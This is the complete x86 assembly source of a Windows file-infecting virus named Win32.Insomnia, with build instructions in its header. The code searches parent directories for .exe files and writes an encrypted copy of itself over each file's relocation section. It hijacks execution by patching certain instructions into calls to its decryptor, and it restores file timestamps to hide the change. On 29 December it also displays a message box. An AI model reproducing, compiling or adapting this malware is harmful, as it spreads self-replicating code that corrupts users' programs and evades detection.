; Win32.Insomnia (c) DR-EF. ;-------------------------------------------------- ;virus name:Win32.Insomnia ;virus author:DR-EF ;virus size:1972 bytes ;features: ; o dont increase file size,overwrite reloc ; section instead. ; o use EPO - replace all mov eax,fs:[00000000] ; instructions with call virus decryptor. ; o encrypted with new key for each file. ; o use the dotdot method to find files. ;payload:messagebox with this text: ; ".:[Win32.Insomnia � 2004 DR-EF]:." ; every year at 29/12. ;compile: ; tasm32 /m3 /ml /zi Insomnia.asm , , ; ; tlink32 /tpe /aa /v Insomnia , Insomnia,,import32.lib ; pewrsec Insomnia.exe ;-------------------------------------------------- .386 .model flat extrn ExitProcess:proc virus_size equ (EndVirus-virus_start) INVALID_HANDLE_VALUE equ -1 FILE_ATTRIBUTE_NORMAL equ 00000080h OPEN_EXISTING equ 3 GENERIC_WRITE equ 40000000h GENERIC_READ equ 80000000h PAGE_READWRITE equ 4h FILE_MAP_WRITE equ 00000002h .data db ? .code virus_start: call Delta Delta: pop ebp sub ebp,offset Delta mov ecx,NumberOfKernelBases lea esi,[ebp + KernelBaseTable] @next_k:lodsd call GetKernel32Base jc GetApis loop @next_k jmp reth ;return to host KernelBaseTable: dd 804d4000h ;winXP dd 0bff60000h ;winME dd 77f00000h ;winNT dd 77e70000h ;win2K dd 0bff70000h ;win9X NumberOfKernelBases equ 5h GetApis:mov eax,[ebp + kernel32base] add eax,[eax + 3ch] mov eax,[eax + 78h] add eax,[ebp + kernel32base] ;eax - kernel32 export table push eax xor edx,edx mov eax,[eax + 20h] add eax,[ebp + kernel32base] mov edi,[eax] add edi,[ebp + kernel32base] ;edi - api names array dec edi nxt_cmp:inc edi lea esi,[ebp + _GetProcAddress] mov ecx,0eh rep cmpsb je search_address inc edx nxt_l: cmp byte ptr [edi],0h je nxt_cmp inc edi jmp nxt_l search_address: pop eax ;eax - kernel32 export table ;edx - GetProcAddress position shl edx,1h mov ebx,[eax + 24h] add ebx,[ebp + kernel32base] add ebx,edx mov dx,word ptr [ebx] shl edx,2h mov ebx,[eax + 1ch] add ebx,[ebp + kernel32base] add ebx,edx mov ebx,[ebx] add ebx,[ebp + kernel32base] mov [ebp + GetProcAddress],ebx mov ecx,NumberOfApis lea eax,[ebp + ApiNamesTable] lea ebx,[ebp + ApiAddressTable] nxt_api:push ecx push eax push eax push [ebp + kernel32base] call [ebp + GetProcAddress] or eax,eax je api_err mov dword ptr [ebx],eax pop eax nxt_al: inc eax cmp byte ptr [eax],0h jne nxt_al inc eax add ebx,4h pop ecx loop nxt_api jmp InfectFiles api_err:add esp,8h jmp reth _GetProcAddress db "GetProcAddress",0 GetProcAddress dd 0 kernel32base dd 0 ApiNamesTable: _FindFirstFile db "FindFirstFileA",0 _FindNextFile db "FindNextFileA",0 _GetCurrentDirectory db "GetCurrentDirectoryA",0 _SetCurrentDirectory db "SetCurrentDirectoryA",0 _CreateFile db "CreateFileA",0 _CloseHandle db "CloseHandle",0 _CreateFileMapping db "CreateFileMappingA",0 _MapViewOfFile db "MapViewOfFile",0 _UnmapViewOfFile db "UnmapViewOfFile",0 _GetLocalTime db "GetLocalTime",0 _LoadLibrary db "LoadLibraryA",0 _SetFileTime db "SetFileTime",0 ApiAddressTable: FindFirstFile dd 0 FindNextFile dd 0 GetCurrentDirectory dd 0 SetCurrentDirectory dd 0 CreateFile dd 0 CloseHandle dd 0 CreateFileMapping dd 0 MapViewOfFile dd 0 UnmapViewOfFile dd 0 GetLocalTime dd 0 LoadLibrary dd 0 SetFileTime dd 0 NumberOfApis equ 12 GetKernel32Base: pushad lea ebx,[ebp + k32err] push ebx xor ebx,ebx push dword ptr fs:[ebx] mov fs:[ebx],esp mov ebx,eax cmp word ptr [eax],"ZM" jne _k32err add eax,[eax + 3ch] cmp word ptr [eax],"EP" jne _k32err mov [ebp + kernel32base],ebx pop dword ptr fs:[0] add esp,4h popad stc ret _k32err:pop dword ptr fs:[0] add esp,4h popad clc ret k32err: mov esp,[esp + 8h] pop dword ptr fs:[0] add esp,4h popad clc ret VirusCopyRight db ".:[Win32.Insomnia � 2004 DR-EF]:.",0 InfectFiles: mov [ebp + max_dirs],0fh lea eax,[ebp + cdir] push eax push 0ffh call [ebp + GetCurrentDirectory] or eax,eax je ReturnToHost s_files:cmp [ebp + max_dirs],0h je r_dir lea eax,[ebp + WIN32_FIND_DATA] push eax lea eax,[ebp + search_mask] push eax call [ebp + FindFirstFile] cmp eax,INVALID_HANDLE_VALUE je nxt_dir mov [ebp + hfind],eax i_file: call InfectFile lea eax,[ebp + WIN32_FIND_DATA] push eax push [ebp + hfind] call [ebp + FindNextFile] or eax,eax jne i_file nxt_dir:dec [ebp + max_dirs] lea eax,[ebp + dotdot] push eax call [ebp + SetCurrentDirectory] or eax,eax jne s_files r_dir: lea eax,[ebp + cdir] push eax call [ebp + SetCurrentDirectory] ReturnToHost: ;check for payload: lea eax,[ebp + SYSTEMTIME] push eax call [ebp + GetLocalTime] cmp word ptr [ebp + wMonth],0ch jne reth cmp word ptr [ebp + wDay],1dh jne reth lea eax,[ebp + user32dll] push eax call [ebp + LoadLibrary] or eax,eax je reth lea ebx,[ebp + MessageBox] push ebx push eax call [ebp + GetProcAddress] or eax,eax je reth xor ecx,ecx push MB_ICONINFORMATION or MB_SYSTEMMODAL push ecx lea ebx,[ebp + VirusCopyRight] push ebx push ecx call eax reth: popfd popad db 64h,0A1h,0,0,0,0 ;mov eax,fs:[00000000] ret SYSTEMTIME: wYear dw 0 wMonth dw 0 wDayOfWeek dw 0 wDay dw 0 wHour dw 0 wMinute dw 0 wSecond dw 0 wMilliseconds dw 0 user32dll db "user32.dll",0 MessageBox db "MessageBoxA",0 MB_SYSTEMMODAL equ 00001000h MB_ICONINFORMATION equ 00000040h hfind dd 0 max_dirs db 0fh search_mask db "*.exe",0 dotdot db "..",0 cdir db 0ffh dup(0) WIN32_FIND_DATA: dwFileAttributes dd 0 ftCreationTime dq 0 ftLastAccessTime dq 0 ftLastWriteTime dq 0 nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved0 dd 0 dwReserved1 dd 0 cFileName db 0ffh dup (0) cAlternateFileName db 20 dup (0) InfectFile: inc byte ptr [ebp + decrypt_key] ;create new key lea ebx,[ebp + cFileName] xor eax,eax push eax push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax push eax push GENERIC_READ or GENERIC_WRITE push ebx call [ebp + CreateFile] cmp eax,INVALID_HANDLE_VALUE je ExitInfect mov [ebp + hfile],eax xor eax,eax push eax push eax push eax push PAGE_READWRITE push eax push [ebp + hfile] call [ebp + CreateFileMapping] or eax,eax je close_f mov [ebp + hmap],eax xor eax,eax push eax push eax push eax push FILE_MAP_WRITE push [ebp + hmap] call [ebp + MapViewOfFile] or eax,eax je close_m mov [ebp + mapbase],eax ;check for valid pe file cmp word ptr [eax],"ZM" jne CloseFile add eax,[eax + 3ch] cmp word ptr [eax],"EP" jne CloseFile ;goto sections table mov cx,[eax + 6h] ; get number of sections and ecx,0ffffh mov ebx,[eax + 34h];get image base mov dword ptr [ebp + Virus_Start],ebx ;save image base insaid decryptor mov ebx,[eax + 74h];get number of datadirectory shl ebx,3h add eax,ebx add eax,78h push eax ;eax - sections table push ecx ;ecx - number of sections ;check for reloc section @sec: cmp dword ptr [eax],"ler." jne nxt_sec cmp dword ptr [eax + 2h],"cole" je f_rec nxt_sec:add eax,28h loop @sec ext_rlc:add esp,8h ;restore stack jmp CloseFile ;check if the reloc section is bigger than virus f_rec: cmp dword ptr [eax + 8h],virus_size ;eax - reloc section header ! jb ext_rlc ;set new section flags or dword ptr [eax + 24h],0c0000020h ;code\readable\writeable ;goto the section raw data: mov edx,[eax + 0ch] mov eax,[eax + 14h] add eax,[ebp + mapbase] ;overwrite the reloc section with the virus mov edi,eax lea esi,[ebp + virus_start] mov ecx,virus_size @enc: lodsb xor al,byte ptr [ebp + decrypt_key] stosb loop @enc pop ecx ;ecx - number of sections pop ebx ;ebx - sections table sub eax,[ebp + mapbase] add dword ptr [ebp + Virus_Start],edx ;eax - virus start infected files @sec2: cmp dword ptr [ebx + 1h],"txet" ;text ? je f_cod cmp dword ptr [ebx + 1h],"edoc" ;code ? je f_cod cmp dword ptr [ebx],"EDOC" ;CODE ? je f_cod add ebx,28h loop @sec2 add esp,4h ;restore stack jmp CloseFile ;ebx - code section header f_cod: mov ecx,[ebx + 10h] ;ecx - size of section raw data mov edx,[ebx + 8h] ;edx - virtual section size sub ecx,edx cmp ecx,DecryptorSize ja write_d add esp,4h jmp CloseFile write_d:mov edi,[ebx + 14h] mov [ebp + virus_entry_point],edi add [ebp + virus_entry_point],edx add edi,[ebp + mapbase] push edi ;save code section raw data add edi,edx ;esi - where to write virus decryptor lea esi,[ebp + VirusDecryptorStart] mov ecx,DecryptorSize rep movsb pop esi ;esi - code section raw data ;search for all mov eax,fs:[00000000] and replace it with nop --> call virus_decryptor xchg edx,ecx ;ecx - code section virtual size @1: cmp word ptr [esi],0a164h jne nxt_w cmp dword ptr [esi + 2],0 jne nxt_w ;esi - mov eax,fs:[00000000] location. mov byte ptr [esi],90h ;nop mov byte ptr [esi + 1h],0e8h;call mov eax,[ebp + virus_entry_point] mov ebx,esi sub ebx,[ebp + mapbase] sub eax,ebx sub eax,6h mov dword ptr [esi + 2h],eax nxt_w: inc esi loop @1 CloseFile: push [ebp + mapbase] call [ebp + UnmapViewOfFile] close_m:push [ebp + hmap] call [ebp + CloseHandle] close_f:lea eax,[ebp + ftLastWriteTime] push eax lea eax,[ebp + ftLastAccessTime] push eax lea eax,[ebp + ftCreationTime] push eax push [ebp + hfile] call [ebp + SetFileTime] push [ebp + hfile] call [ebp + CloseHandle] ExitInfect: ret VirusDecryptorStart equ $ pushad pushfd mov esi,00000000 Virus_Start equ $-4 push esi mov edi,esi mov ecx,virus_size @dcrypt:lodsb xor al,5h decrypt_key equ $-1 stosb loop @dcrypt ret EndVirusDecryptor equ $ DecryptorSize equ (EndVirusDecryptor - VirusDecryptorStart) hfile dd 0 hmap dd 0 mapbase dd 0 virus_entry_point dd 0 EndVirus equ $ First_Gen_Host: push offset exit pushfd pushad jmp virus_start exit: push eax call ExitProcess end First_Gen_Host